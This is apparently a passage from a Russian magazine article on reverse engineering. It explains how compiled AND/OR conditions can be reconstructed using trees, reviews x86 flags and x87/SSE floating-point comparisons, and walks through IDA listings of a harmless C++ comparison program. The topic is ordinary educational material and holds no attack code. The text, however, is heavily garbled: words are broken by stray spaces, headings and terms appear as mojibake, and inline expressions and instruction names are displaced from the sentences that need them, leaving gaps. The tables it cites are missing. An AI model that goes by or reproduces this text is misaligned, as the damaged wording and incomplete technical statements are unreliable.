не вызыва ется и ее кра ха не про исхо дит. Такой спо соб вычис лений получил
наз вание быс трых булевых опе раций (теперь-то ты зна ешь, что под разуме- 
вает ся под «быс тро той»).

íå áóäåò

if ((filename) && (f=fopen(&filename[0],"rw")))...
filename

FALSE fopen

Пе рей дем теперь к воп росу иден тифика ции логичес ких усло вий и ана лизу
слож ных выраже ний. Вер немся к уже облю бован ному нами выраже нию 

 и вгля дим ся в резуль тат его тран сля ции.
if ((

a==b) && (a!=0)) ...

Лег ко видеть — он выда ет себя сери ей условных перехо дов к одной и той же
мет ке, при чем, обра ти вни мание, выпол няет ся про вер ка на неравенс тво каж- 
дого из эле мен тарных усло вий, а сама мет ка рас положе на позади кода усло- 
вия.

Иден тифика ция логичес кой опе рации «ИЛИ» нам ного слож нее в силу
неод нознач ности ее тран сля ции. Рас смот рим это на при мере выраже ния 

 Его мож но раз бить на эле мен тарные опе рации
так.

if
((a==b) || (a!=0)) ...

И так.

Пер вый вари ант обла дает весь ма запоми нающей ся внеш ностью — серия
про верок (без инверсии усло вия) на одну и ту же мет ку, рас положен ную
перед кодом усло вия, а в кон це этой серии — безус ловный переход на мет ку,
рас положен ную позади кода усло вия.

Од нако опти мизи рующие ком пилято ры выкиды вают безус ловный переход,
инверти руя про вер ку пос ледне го усло вия в цепоч ке и соот ветс твен но меняя
адрес перехо да. По неопыт ности эту конс трук цию час то при нима ют за смесь

 и .OR AND
Кста ти, о сме шан ных опе раци ях. Рас смот рим резуль тат тран сля ции сле- 

дующе го выраже ния: :if ((a==b) || (a==c) && (a!=0)) ...

IF a==b THEN check_null 
IF a!=c THEN continue
check_null: 
IF a==0 THEN continue
... // Код условия 

: continue
... // Прочий код 

Как из неп роходи мого леса эле мен тарных усло вий получить одно удо бочи- 
таемое сос тавное усло вие? Начина ем пля сать от печ ки, то есть от пер вой
опе рации срав нения. Смот ри: если усло вие  ока жет ся истинно, оно

«выводит из игры» про вер ку усло вия . Такая конс трук ция харак терна
для опе рации , то есть дос таточ но выпол нения хотя бы одно го усло вия

из двух для сра баты вания кода.

a==b
a!=c

OR

Пи шем в уме или каран дашом: , далее — если усло- 
вие  истинно, все даль нейшие про вер ки прек раща ются и управле ние

переда ется на мет ку, рас положен ную позади условно го кода. Логич но пред- 
положить, что мы име ем дело с пос ледней опе раци ей  в цепоч ке срав- 
нений — это ее почерк.

if ((a==b) || ...)
(a!=c)

OR

Зна чит, мы инверти руем усло вие выраже ния и про дол жаем писать: 

. Пос ледний бас тион — про вер ка усло вия .
Выпол нить условный код, миновав усло вие, не удас тся, сле дова тель но, это не

, а ! A  всег да инверти рует усло вие сра баты вания, и поэто му ори- 

гиналь ный код дол жен был выг лядеть так: 

. Ура! У нас получи лось!

if ((
a==b) || (a==c)...) a==0

OR AND AND
if ((a==b) || (a==c) && (a!=0)

)
Впро чем, то, что мы рас смот рели, — это прос тей ший при мер. В реаль ной

жиз ни опти мизи рующие ком пилято ры такого понаво роча ют...

Íàãëÿäíîå ïðåäñòàâëåíèå ñëîæíûõ óñëîâèé â âèäå äåðåâà

Конс трук цию, сос тоящую из трех-четырех эле мен тарных усло вий, мож но про- 
ана лизи ровать и в уме (если есть соот ветс тву ющие навыки), но хит рос пле- 
тения пяти и более усло вий обра зуют самый нас тоящий лабиринт — его
с ходу не возь мешь. Неод нознач ность тран сля ции слож ных усло вий порож- 
дает неод нознач ность интер пре тации, что при водит к мно гова риан тно му ана- 
лизу, при чем с каж дым шагом в голове при ходит ся дер жать все боль ше
и боль ше информа ции. Так недол го и кры шей поехать или окон чатель но
запутать ся и получить невер ный резуль тат.

Вы ход в исполь зовании дву хуров невой сис темы рет ран сля ции. На пер вом
эта пе эле мен тарные усло вия при водят ся к некото рой про межу точ ной фор ме
записи, наг лядно и неп ротиво речи во отоб ража ющей вза имос вязь эле мен- 
тарных опе раций. Затем выпол няет ся окон чатель ная тран сля ция в любую
под ходящую нотацию (нап ример, С, Basic или Pascal).

Единс твен ная проб лема — выб рать удач ную про межу точ ную фор му.
Сущес тву ет мно жес тво решений, но по сооб ражени ям эко номии прос транс- 
тва мы рас смот рим толь ко одно — деревья.

Изоб разим каж дое эле мен тарное усло вие в виде узла с дву мя вет вями,
соот ветс тву ющи ми сос тояниям: усло вие истинно и усло вие лож но. Для наг- 
ляднос ти обоз начим «ложь» рав нобед ренным тре уголь ником, а «исти ну» —
квад ратом и усло вим ся всег да рас полагать ложь на левой, а исти ну — на пра- 
вой вет ке. Получив шуюся конс трук цию назовем гнез дом (nest).

Схе мати чес кое пред став ление гнез да

Гнез да могут объ еди нять ся в деревья, соеди няясь узла ми с вет ками дру гого
узла. При чем каж дый узел может соеди нять ся толь ко с одним гнез дом,
но вся кое гнез до может соеди нять ся с нес коль кими узла ми. Непонят но?
Не вол нуй ся, сей час мы со всем этим раз берем ся.

Рас смот рим объ еди нение двух эле мен тарных усло вий логичес кой опе- 
раци ей  на при мере выраже ния . Извле каем пер вое

сле ва усло вие , «уса жива ем» его в гнез до с дву мя вет вями: левая

соот ветс тву ет слу чаю, ког да  (то есть усло вие  лож но), а пра вая,
соот ветс твен но, наобо рот. Затем то же самое дела ем и со вто рым усло вием

.

AND ((a==b) && (a!=0))
(a==b)

a!=b a==b

(a!=0)
У нас получа ются два очень сим патич ных гнез дышка, оста ется лишь свя- 

зать их меж собой опе раци ей логичес кого . Как извес тно,  выпол няет
вто рое усло вие толь ко в том слу чае, если истинно пер вое. Зна чит, гнез до 

 сле дует при цепить к пра вой вет ке гнез да . Тог да пра вая вет ка

гнез да  будет соот ветс тво вать истиннос ти выраже ния 
, а обе левые вет ки — его лож ности. Обоз начим пер вую ситу ацию мет- 

кой , а вто рую — . В резуль тате дерево дол жно при нять сле- 

дующий вид.

AND AND
(a!

=0) (a==b)
(a!=0) ((a==b) && (

a!=0))
do_it continue

Гра фичес кое пред став ление опе рации AND в виде дво ично го дерева

Для наг ляднос ти отме тим мар шрут из вер шины дерева к мет ке  жир ной

стрел кой. Как видишь, в пункт  мож но попасть толь ко одним путем. Вот

так гра фичес ки выг лядит опе рация .

do_it
do_it

AND
Те перь перей дем к опе рации логичес кого . Рас смот рим конс трук цию 

. Если усло вие  истинно, то и все выраже ние счи- 

тает ся истинным. Сле дова тель но, пра вая вет ка гнез да  свя зана с мет- 
кой . Если же усло вие  лож но, то выпол няет ся про вер ка сле- 

дующе го усло вия. Зна чит, левая вет ка гнез да  свя зана с гнез дом 

.

OR ((
a==b) || (a!=0)) (a==b)

(a==b)
do_it (a==b)

(a==b) (a!
=0)

Оче вид но, если усло вие  истинно, то истинно и все выраже ние 

. Нап ротив, если усло вие  лож но, то лож но и все

выраже ние, так как про вер ка усло вия  выпол няет ся толь ко в том слу- 
чае, если усло вие  лож но. Отсю да мы зак люча ем, что левая вет ка гнез- 

да  свя зана с мет кой , а пра вая — с . Обра ти вни мание,

в пункт  мож но попасть дву мя раз личны ми путями! Вот так гра фичес ки

выг лядит опе рация .

(a!=0) ((
a==b) || (a!=0)) (a!=0)

(a!=0)
(a==b)

(a!=0) continue do_it
do_it

OR

Гра фичес кое пред став ление опе рации OR в виде дво ично го дерева

До сих пор мы отоб ражали логичес кие опе рации на деревья, но ведь деревья
соз давались как раз для про тиво полож ной цели — пре обра зова ния пос- 
ледова тель нос ти эле мен тарных усло вий в инту итив но понят ное пред став- 
ление. Давай зай мем ся этим. Пусть в тек сте прог раммы встре тит ся сле- 
дующий код:

IF a==b THEN check_null 
IF a!=c THEN continue
check_null: 
IF a==0 THEN continue
... // Код условия 

: continue
... // Прочий код 

Из вле каем усло вие  и сажа ем его в «гнез до», смот рим: если оно лож- 

но, то выпол няет ся про вер ка , зна чит, гнез до  свя зано с левой

вет кой гнез да . Если же усло вие  истинно, то управле ние
переда ется мет ке , про веря ющей истинность усло вия .

Сле дова тель но, гнез до  свя зано с пра вой вет кой гнез да .

В свою оче редь, если усло вие  истинно, управле ние получа ет мет ка
, в про тив ном слу чае — . Зна чит, гнез до  свя зано

одновре мен но и с пра вой вет кой гнез да , и с левой вет кой гнез да 

.

(a==b)
(a!=c) (a!=c)

(a==b) (a==b)
check_null (a==0)

(a==0) (a==b)
(a!=с)

continue check_null (a==0)
(a==b) (a!

=c)
Ко неч но, это про ще рисовать, чем опи сывать! У тебя дол жно получить ся

дерево, очень похожее на сле дующее изоб ражение.

Гра фичес кое пред став ление слож ного выраже ния

Смот ри: к гнез ду  мож но попасть дву мя путями — либо через гнез до 
, либо через цепоч ку двух гнезд  → . Сле дова тель но, эти

гнез да свя заны опе раци ей . Записы ваем: .

(a==0) (
a==b) (a==b) (a!=c)

OR if ((a==b) || !(a!=c)) ...
От куда взял ся ? Так ведь гнез до  свя зано с левой вет кой гнез да

, то есть про веря ется лож ность его истиннос ти! Кста ти, «лож ность

истиннос ти» очень хорошо зву чит. Избавля емся от , инверти руя усло вие:

... Далее, из гнез да  до пун кта  мож- 
но доб рать ся толь ко одним путем, зна чит, оно свя зано опе раци ей .

Записы ваем: ... Теперь избавля емся

от лиш них ско бок и опе рации . В резуль тате получа ется: 

.

NOT (a==0)
(a!=c)

NOT
if ((a==b) || (a==c)...) (a==0) do_it

AND
if (((a==b) || (a==c)) && !(a==0))

NOT if (((a==b) ||
(a==c)) && (a!=0)) {/* Код условия */}

Не прав да ли, все прос то? При чем вов се не обя затель но стро ить деревья
«вруч ную», при желании мож но написать прог рамму, берущую эту работу
на себя.

Èññëåäîâàíèå êîíêðåòíûõ ðåàëèçàöèé

Преж де чем прис тупать к отоб ражению конс трук ции

«
»

IF (ñëîæ íîå óñëî âèå) THEN îïå ðàòîð ;îïå ðàòîð ; ELSE îïå ðàòîð ;îïå- 

ðàòîð

1 2 à

b

на машин ный язык, вспом ним, что, во-пер вых, агре гат 
мож но выразить через , во-вто рых,  опе ратор ;опе ратор

мож но выразить через , в-треть их, любое слож ное усло вие

мож но свес ти к пос ледова тель нос ти эле мен тарных усло вий отно шения.
Таким обра зом, на низ ком уров не мы будем иметь дело лишь с конс трук- 
циями вида

IF — THEN — ELSE
IF — THEN THEN 1 2

THEN GOTO do_it

« »
IF (ïðîñ òîå óñëî âèå îòíî øåíèÿ) THEN GOTO do_it

А уже из них, как из кир пичиков, мож но сло жить что угод но.
Итак, что такое , или, дру гими сло вами, 

? В мик ропро цес сорах Intel 80x86 целочис- 
ленные зна чения срав нива ются коман дой , а с вещес твен ными зна чени- 

ями ситу ация сло жилась не такая однознач ная.

óñ ëîâèÿ îòíî øåíèÿ ре зуль тат
опе рации срав нения двух чисел

CMP

С момен та появ ления пер вого про цес сора серии 8086 для работы
с вещес твен ными чис лами исполь зовал ся соп роцес сор. Он пред став лял
собой обо соб ленную мик росхе му, для которой на материн ской пла те пред- 
назна чал ся отдель ный разъ ем. Для срав нения вещес твен ных зна чений
с помощью соп роцес сора исполь зовалась одна из сле дующих инс трук ций:

, , , , , , .FCOM FCOMP FCOMPP FCOMI FCOMIP FUCOMI FUCOMIP
С выходом про цес сора 80486 соп роцес сор (или модуль опе раций с пла- 

вающей запятой) был объ еди нен в одном кор пусе с АЛУ, устрой ством
управле ния памятью, кешем и про чим. Нес мотря на это, он по-преж нему был
отдель ным устрой ством. С появ лени ем Pentium MMX намети лась тен денция
к глу бокой интегра ции это го модуля в основной про цес сор с исполь зовани ем
общих регис тров. Для прог раммис та, одна ко, никаких видимых изме нений
не про изош ло, в коде по-преж нему исполь зовались коман ды соп роцес сора.

Ве тер перемен стал ощу щать ся вмес те с выходом Pentium III. К его набору
команд был добав лен SSE пер вой вер сии, выпол нение команд которо го
реали зовы вало парал лелизм на уров не дан ных — SIMD-парал лелизм (англ.
Single Instruction, Multiple Data, одна инс трук ция — мно жес тво дан ных).
В резуль тате SSE добавил 70 новых инс трук ций и восемь 128-бит ных регис- 
тров XMM0 — XMM7. Надо отме тить, что про цес сорное рас ширение MMX
тоже име ло воз можность реали зовы вать SIMD-парал лелизм. Одна ко соп- 
роцес сор не мог работать парал лель но с основным.

Ког да выш ла сле дующая мар ка про цес сора — Pentium IV, до вто рой вер- 
сии был обновлен и SSE. Он получил еще 144 новые инс трук ции. Начиная
с SSE2 ста ло воз можным без болез ненно отка зать ся от унас ледован ной тех- 
нологии MMX и при менить новый набор команд для работы с вещес твен ными
зна чени ями. В этом наборе для срав нения чисел с пла вающей запятой
исполь зуют ся сле дующие коман ды: , , , .CMPPD CMPSD COMISD UCOMISD

Нес мотря на появ ление нового поколе ния инс трук ций SSE для работы
с вещес твен ными зна чени ями, инс трук ции прош лого поколе ния (име нуемо го
x87 — от наз вания линии соп роцес соров) так же под держи вают ся сов ремен- 
ными мик ропро цес сорами. Оче вид но, для сох ранения сов мести мос ти
с прош лым рядом мик ропро цес соров и унас ледован ным прог рам мным обес- 
печени ем.

Развитие процессорного расширения SSE

SSE — Intel Pentium III (начало 1999 года). SSE может выпол нять 70 новых
инс трук ций, которые исполь зуют 128-раз рядные регис тры ХММ0-ХММ7,
MMX и даже обыч ные 32-бит ные регис тры.

•

SSE2 — Intel Pentium IV (июнь 2000 года). SSE2-инс трук ции зна читель но
усо вер шенс тво вали SSE пер вого поколе ния, добавив 144 новые инс трук- 
ции.

•

SSE3 — Intel Pentium 4 на базе 90-нм (фев раль 2004 года). Добав лены
допол нитель ные 13 инс трук ций, которые рас ширя ют матема тичес кие воз- 
можнос ти DSP, и поток управле ния инс трук циями.

•

SSSE3 — допол нитель ное обновле ние для SSE3, которое вклю- 
чает 16 новых инс трук ций. Поз воля ет работать как с 64-бит ными (MMX),
так и с 128-бит ными (XMM) регис тра ми, вно сить сло ва в инс трук ции
и перес тавлять бай ты в них.

•

SSE 4 — Intel Core 2 Duo (середи на 2007 года). Добав лены 54 инс трук ции.•
В SSE 4.1 (появи лась в Intel Penryn) содер жится уре зан ный набор
из 47 инс трук ций, а в SSE 4.2 — пол ный из 54 (семь инс трук ций добав лены
в архи тек туре Nehalem). Инс трук ции работа ют толь ко с 128-бит ными
регис тра ми XMM0 — XMM15. Добав лены  и допол нитель ные
целочис ленные инс трук ции. Основным нап равле нием при раз работ ке
было рас ширение муль тимедий ных воз можнос тей: декоди рова ние видео,
уско рение физичес ких и век торных рас четов для игр, уско рение обра бот- 
ки фото, музыки.

•

POPCNT

С середи ны 2008 года Intel занима ется раз работ кой и раз вити ем AVX —
рас ширения сис темы команд для x86-сов мести мых мик ропро цес соров.
Впос ледс твии выш ли рас ширения AVX-2, AVX-512. Эти рас ширения
добави ли к архи тек туре про цес сора шес тнад цать 256-бит ных регис тров
YMM0 — YMM15. Обсужде ние AVX выходит за рам ки рас смат рива емо го
матери ала.

•

Не будем под робно оста нав ливать ся на этих инс трук циях, вмес то это го
вкрат це вспом ним их, что бы осве жить в памяти.

 — эта коман да экви вален тна опе рации целочис ленно го вычита ния

, за одним исклю чени ем — в отли чие от ,  не изме няет опе ран- 
дов, а воз дей ству ет лишь на фла ги основно го про цес сора: флаг нуля,
флаг перено са, флаг зна ка и флаг перепол нения.

• CMP

SUB SUB CMP

 —  уста нав лива ется в еди ницу, если резуль тат вычита ния
равен нулю, то есть опе ран ды рав ны друг дру гу.

• Ôëàã íóëÿ ZF

 —  уста нав лива ется в еди ницу, если при вычита нии

про изо шел заем из стар шего бита умень шаемо го опе ран да, то есть
умень шаемое мень ше вычита емо го.

• Ôëàã ïåðåíî ñà CF

 —  равен стар шему, зна ково му биту резуль тата вычис- 

лений, то есть резуль тат вычис лений — отри цатель ное чис ло.

• Ôëàã çíà êà SF

 —  уста нав лива ется в еди ницу, если резуль тат
вычис лений «залез» в стар ший бит, при водя к потере зна ка чис ла.

• Ôëàã ïåðåïîë íåíèÿ OF

Ред ко исполь зуемые:
 —  уста нав лива ется в еди ницу, если в резуль тате

пре дыду щей опе рации про изо шел перенос (или заем) из треть его бита
в чет вертый. Этот флаг исполь зует ся авто мати чес ки коман дами дво- 
ично-десятич ной кор рекции ( ).

• Ôëàã ïîëóïå ðåíî ñà AF

BCD
 —  уста нав лива ется в еди ницу, если млад ший байт

резуль тата пре дыду щей коман ды содер жит чет ное количес тво битов, рав- 
ных 1. Если количес тво еди ниц в млад шем бай те нечет ное, то этот флаг
уста нав лива ется в 0.

• Ôëàã ÷åò íîñòè PF

Эволюция регистра флагов

16-бит ный регистр фла гов, называ емый FLAGS (в мик ропро цес сорах
с 8086 по 80286, ныне оставле ны для обратной сов мести мос ти), содер- 
жит 16 фла гов, из которых четыре зарезер вирова ны.

•

32-бит ный регистр фла гов — EFLAGS (в мик ропро цес сорах
с 80386 по Pentium 4, далее под дер жка по обратной сов мести мос ти),
содер жит 32 бита в регис тре фла гов, сре ди которых добав лено шесть
активных фла гов и десять зарезер вирован ных.

•

64-раз рядный регистр фла гов — RFLAGS (начиная с Pentium 4 на ядре
Prescott) добавил 32 новых фла га, каж дый из которых зарезер вирован
для будущих нужд, поэто му их нель зя исполь зовать. Вдруг в сле дующей
модели про цес сора один из них будет отве чать за само унич тожение ком- 
па или выход на око лозем ную орби ту! Шут ка, но в ней есть доля прав ды.

•

Для про вер ки сос тояния фла гов сущес тву ет мно жес тво команд условных
перехо дов, выпол няющих ся в слу чае, если опре делен ный флаг (набор фла- 
гов) уста нов лен (или сбро шен). Инс трук ции, исполь зующиеся для ана лиза
резуль тата срав нения целых чисел, при веде ны в таб лице 1.

Таб лица 1: соот ветс твие опе раций отно шения коман дам про цес сора

Об рати вни мание, что флаг  пред назна чен обна ружи вать перепол нение
при работе со зна ковы ми опе ран дами; ког да вычис ления ведут ся с без зна- 
ковы ми чис лами, эта работа воз лага ется на флаг .

OF

CF
В общем слу чае конс трук ция  (эле мен тарное усло вие отно шения) 

 тран сли рует ся в сле дующие коман ды про цес сора:
IF THEN 

do_it

CMP A,B 
Jxx do_it 

: continue

Меж ду инс трук циями  и  могут находить ся и дру гие коман ды, не изме- 

няющие фла гов про цес сора, нап ример , .

CMP Jxx
MOV LEA

Продолжение статьи →



ФУНДАМЕНТАЛЬНЫЕ

ОСНОВЫ ХАКЕРСТВА
ОПРЕДЕЛЯЕМ КУРС ВЫПОЛНЕНИЯ ПРОГРАММ

ПРИ РЕВЕРСИНГЕ

ВЗЛОМ  НАЧАЛО СТАТЬИ←

ÑÐÀÂÍÅÍÈÅ ÂÅÙÅÑÒÂÅÍÍÛÕ ×ÈÑÅË

Таб лица 2: коман ды срав нения вещес твен ных зна чений

Ко ман ды срав нения вещес твен ных чисел из набора SSE2, такие как 

(пол ный их набор см. на рисун ке выше), рав но как коман ды целочис ленно го
срав нения, воз дей ству ют на регис тры основно го про цес сора. Это отли чает
их от команд рас ширения х87, которые воз дей ству ют на регис тры соп роцес- 
сора.

COMISD

Глав ная проб лема зак люча ется в том, что в при роде не сущес тву ет инс- 
трук ций условно го перехо да, управля емых фла гами соп роцес сора! К тому же
фла ги соп роцес сора непос редс твен но недос тупны, и, что бы про читать их
ста тус, необ ходимо было выг рузить регистр сос тояния соп роцес сора 

в память или регистр обще го наз начения основно го про цес сора. Хуже все- 
го — ана лизи ровать фла ги при дет ся «вруч ную»! Если при срав нении целых
чисел мож но и не задумы вать ся, какими имен но фла гами управля ется
условный переход, дос таточ но написать:

SW

CMP A,B 
 Jump JGE do_it; ( [if] Great [or] Equal — прыжок, если A больше или 

равно B)

то с соп роцес сором этот номер не прой дет! Прав да, мож но схит рить и ско- 
пиро вать фла ги соп роцес сора в регистр фла гов основно го про цес сора,
а затем исполь зовать род ные инс трук ции условно го перехо да из серии .Jxx

Ко неч но, непос редс твен но ско пиро вать фла ги из соп роцес сора
в основной про цес сор было нель зя, и эту опе рацию при ходи лось выпол нять
в два эта па. Сна чала фла ги  выг рузить в память или регистр обще го наз- 

начения, а уже отту да затал кивать в регистр фла гов . Непос редс твен но

модифи циро вать регистр фла гов  уме ет толь ко одна коман да — .
Оста ется толь ко выяс нить, каким фла гам соп роцес сора какие фла ги
основно го про цес сора соот ветс тву ют. А это отдель ная наука! Ей надо было
занимать ся вся кий раз при срав нении вещес твен ных чисел! Хорошо, что тех- 
нологии не сто ят на мес те и теперь мы можем исполь зовать коман ды из рас- 
ширения SSE и забыть про соп роцес сор, как про страш ный сон!

FPU
CPU

CPU POPF

Да вай рас смот рим сле дующий край не прос той при мер ( ),
откомпи лиро ван ный в Visual Studio 2022 в режиме Release и с отклю чен ной
опти миза цией:

compare_double

#include <iostream>

  int main() {
      double num1 = 0.0001;
      double num2 = 0.0002;

      if (num1 < num2)
           std::cout << "num1 меньше, чем num2" << "\n";

   else
           std::cout << "num1 больше либо равно num2" << "\n";

}

Клю чевая активность здесь — это срав нение вещес твен ных чисел двой ной
точ ности. Заг рузим резуль тиру ющий экзешник в IDA и пос мотрим, какую инс- 
трук цию для срав нения выб рал наш ком пилятор:

; int __cdecl main(int argc, const char **argv, const char **envp)
 main            proc near               ; CODE XREF: 

__scrt_common_main_seh+107↓p
                                       ; DATA XREF: .pdata:
ExceptionDir↓o
; Две локальные переменные

   var_18          = qword ptr -18h
   var_10          = qword ptr -10h

; Выделяем для них память
                     sub rsp, 38h

Ко пиру ем вещес твен ное чис ло двой ной точ ности из сег мента дан ных толь ко
для чте ния: 

 в регистр .

.rdata:0000000140003330 __real@3f1a36e2eb1c432d dq 0.0001 ; DATA 
XREF: main+4↑r XMM0

               movsd xmm0, cs:__real@3f1a36e2eb1c432d
; Из регистра копируем значение в локальную переменную var_10

               movsd [rsp+38h+var_10], xmm0

Ко пиру ем вещес твен ное чис ло двой ной точ ности из сег мента дан ных толь ко
для чте ния: 

 в регистр .

.rdata:0000000140003338 __real@3f2a36e2eb1c432d dq 0.0002 ; DATA 
XREF: main+12↑r XMM0

               movsd xmm0, cs:__real@3f2a36e2eb1c432d
; Из регистра копируем значение в локальную переменную var_18

               movsd [rsp+38h+var_18], xmm0
; Возвращаем второе значение в регистр XMM0

               movsd xmm0, [rsp+38h+var_18]

Ага! Для срав нения двух вещес твен ных зна чений ком пилятор выб рал инс трук- 
цию ! Заг лянем в таб лицу 2, что бы узнать, при сутс тву ет ли она там.

Дей стви тель но, она тут как тут! Из это го сле дует, что дан ная инс трук ция вхо- 
дит в SSE2.

COMISD

Об рати вни мание: к момен ту срав нения в  находит ся вто рое, боль- 

шее чис ло — 0.0002. А в перемен ной  — пер вое, мень шее, — 0.0001.
Ког да пер вый опе ранд боль ше вто рого, инс трук ция  уста нав лива ет

фла ги сле дующим обра зом: ; ; .

XMM0
var_10

COMISD
ZF = 0 PF = 0 CF = 0

   comisd xmm0, [rsp+38h+var_10]

Инс трук ция  дела ет переход по мет ке, ког да фла ги  либо  уста нов- 

лены в еди ницу. Ины ми сло вами, ког да пер вый опе ранд мень ше вто рого
или равен ему. В нашем слу чае ни одно из перечис ленных усло вий не соб- 
людено, поэто му переход на мет ку не выпол няет ся.

JBE CF ZF

      jbe short loc_140001052

Из началь но в этом дизас сем блер ном лис тинге стро ки в сег менте дан ных
были пред став лены набором неоп ределен ных бай тов. Как при дать им удо- 
бочи таемый вид, мы уже про ходи ли.

; В регистр RDX грузим указатель на строку
                      lea rdx, aNum1MenEEmNum2 ; "num1 меньше, чем 

num2"
; В RCX помещаем указатель на символьный вывод

      
  

               mov rcx, cs:std::basic_ostream<char,std::ch
ar_traits<char>> std::cout ; _Ostr
; Вызываем функцию вывода строки на консоль, передавая ей параметры

    
   

               call std::operator<<<std::char_traits<char>>(std::
basic_ostream<char,std::char_traits<char>> &,char const *)
; Добавляем завершающий символ перехода на новую строку

                      lea rdx, asc_1400032D0 ; "\n"
                     mov rcx, rax        ; _Ostr

; Его тоже выводим
    

   
               call std::operator<<<std::char_traits<char>>(std::
basic_ostream<char,std::char_traits<char>> &,char const *)
; Хо-хо! Безусловный переход

                     jmp short loc_140001074
; 
---------------------------------------------------------------------
------
loc_140001052:                          ; CODE XREF: main+2C↑j

                      lea rdx, aNum1BolELiboRa ; "num1 больше либо 
равно num2"

      
  

               mov rcx, cs:std::basic_ostream<char,std::ch
ar_traits<char>> std::cout ; _Ostr

    
   

               call std::operator<<<std::char_traits<char>>(std::
basic_ostream<char,std::char_traits<char>> &,char const *)

                      lea rdx, asc_1400032F8 ; "\n"
                     mov rcx, rax        ; _Ostr
    

   
               call std::operator<<<std::char_traits<char>>(std::
basic_ostream<char,std::char_traits<char>> &,char const *)
loc_140001074:                          ; CODE XREF: main+50↑j
; Завершаем выполнение приложения,
; возвращаем ноль

                     xor eax, eax
; Восстанавливаем стек

                     add rsp, 38h
               retn
main            endp

В резуль тате, как и ожи далось, будет такой вывод.

Лю бопыт но уви деть, какой бинар ник при веден ного выше кода при гото вит
C++Builder. Итак, дизас сем блер ный лис тинг, пос тро енный с отклю чен ной
опти миза цией прог раммы, дол жен выг лядеть при мер но сле дующим обра зом:

; int __cdecl main(int argc, const char **argv, const char **envp)
                public main

 main            proc near               ; DATA XREF: __acrtused+29↑o
; Семь локальных переменных... Куда так много?!

   var_30          = qword ptr -30h
   var_28          = qword ptr -28h
   var_20          = qword ptr -20h
   var_18          = qword ptr -18h
   var_10          = qword ptr -10h
   var_8           = dword ptr -8
   var_4           = dword ptr -4

; Открываем кадр стека
                   push rbp

; Выделяем память в стеке для локальных переменных
                     sub rsp, 50h

; В регистр RBP заносим указатель на дно стека
                     lea rbp, [rsp+50h]

В регис тры  и  из сег мента дан ных толь ко для чте ния заг ружа ем зна- 

чения вещес твен ных кон стант:

XMM0 XMM1

          .rodata:0000000000428000 qword_428000 dq 3F2A36E2EB1C432Dh ; 
DATA XREF: main+A↑r

          .rodata:0000000000428008 qword_428008 dq 3F1A36E2EB1C432Dh ; 
DATA XREF: main+12↑r

Для пред став ления вещес твен ных (в нашем слу чае свер хма лых) зна чений
C++Builder при менил свер хболь шие чис ла.

                   movsd xmm0, cs:qword_428000

; А Visual C++ использовал только один регистр SSE
                   movsd xmm1, cs:qword_428008

; Инициализация локальных переменных
                     mov [rbp+var_4], 0
                     mov [rbp+var_8], ecx
                     mov [rbp+var_10], rdx

; В переменную var_18 помещается вещественное значение, ранее 
загруженное в регистр XMM1

                   movsd [rbp+var_18], xmm1
; В var_20 копируется вещественное значение из регистра XMM0

                   movsd [rbp+var_20], xmm0
; Числа из памяти возвращаются в регистры, меняясь начальными 
местами дислокации

                   movsd xmm0, [rbp+var_18]
                   movsd xmm1, [rbp+var_20]

Ага! C++Builder вос поль зовал ся нем ного дру гой инс трук цией срав нения
вещес твен ных зна чений! Коман да неупо рядо чен ного срав нения 

отли чает ся от коман ды  толь ко тем, что она воз вра щает ошиб ку, если
опе ранд-источник равен зна чению . Тог да как  выда ет исклю- 

чение, если опе ранд-источник равен  либо .

UCOMISD
COMISD

SNaN COMISD
SNaN QNaN

Тем не менее с фла гами про цес соров она пос тупа ет точ но так же,
как коман да упо рядо чен ного срав нения.

  ucomisd xmm1, xmm0

Инс трук цию  мы уже про ходи ли, оста нав ливать ся на ней не будем. В дан- 

ном слу чае, как и в прош лый раз, переход на мет ку не выпол няет ся.

JBE

                   jbe short loc_4013EA
                   lea rcx, xmmword_434B08

; Продолжаем выполнение, загружаем параметры в регистры...
                      lea rdx, aNum1MenEEmNum2 ; "num1 меньше, чем 

num2"
; ...и вызываем оператор вывода строки на экран

    
  

               call std::operator<<<std::char_traits<char>>(std::
basic_ostream<char,std::char_traits<char>> &,char const*)

                      lea rdx, asc_428026 ; "\n"
                     mov rcx, rax
    

  
               call std::operator<<<std::char_traits<char>>(std::
basic_ostream<char,std::char_traits<char>> &,char const*)

                     mov [rbp+var_28], rax
; Безусловный переход

                     jmp short loc_401410
; 
---------------------------------------------------------------------
------
loc_4013EA:                             ; CODE XREF: main+40↑j

                     lea rcx, xmmword_434B08
                      lea rdx, aNum1BolELiboRa ; "num1 больше либо 

равно num2"
    

  
               call std::operator<<<std::char_traits<char>>(std::
basic_ostream<char,std::char_traits<char>> &,char const*)

                      lea rdx, asc_428026 ; "\n"
                     mov rcx, rax
    

  
               call std::operator<<<std::char_traits<char>>(std::
basic_ostream<char,std::char_traits<char>> &,char const*)

                     mov [rbp+var_30], rax
loc_401410:                             ; CODE XREF: main+68↑j
; Завершаем выполнение приложения
; Загружаем ноль в переменную...

                     mov [rbp+var_4], 0
; ...затем перекладываем его в регистр
; Обрати внимание, сколько ненужных операций делает C++Builder
; Возвращаем ноль

                     mov eax, [rbp+var_4]
; Восстанавливаем память стека

                     add rsp, 50h
; Закрываем кадр стека

                    pop rbp
               retn
main            endp

Бы ло инте рес но уви деть, что даже такой кро хот ный при мер чик дву мя лидиру- 
ющи ми ком пилято рами прев раща ется в раз ный бинар ный код!

ÓÑËÎÂÍÛÅ ÊÎÌÀÍÄÛ ÁÓËÅÂÎÉ ÓÑÒÀÍÎÂÊÈ

На чиная с чипа 80386, язык мик ропро цес соров Intel обо гатил ся коман дой
условной уста нов ки бита — , которая уста нав лива ет свой единс твен ный

опе ранд в еди ницу (булево ), если в усло вии  равенс тво, и сбра сыва ет

его в ноль (булево ), если усло вие  лож но.

SETxx
TRUE xx

FALSE xx
Ко ман да  широко исполь зует ся опти мизи рующи ми ком пилято рами,

что бы устра нить вет вле ния, то есть изба вить ся от условных перехо дов, так
как пос ледние очи щают кон вей ер про цес сора, чем серь езно сни жают про- 
изво дитель ность прог раммы.

SETxx

Таб лица 3: условные коман ды булевой уста нов ки

Èäåíòèôèêàöèÿ òèïîâ ñ ïîìîùüþ óñëîâèé

Ус ловные коман ды — ключ к иден тифика ции типов. Пос коль ку резуль тат
срав нения зна ковых и без зна ковых перемен ных ана лизи руют раз ные груп пы
инс трук ций, мож но уве рен но и однознач но отли чить  (зна ковые)
от  (без зна ковых).

signed int
unsigned int

ÏÐÎ×ÈÅ ÓÑËÎÂÍÛÅ ÊÎÌÀÍÄÛ

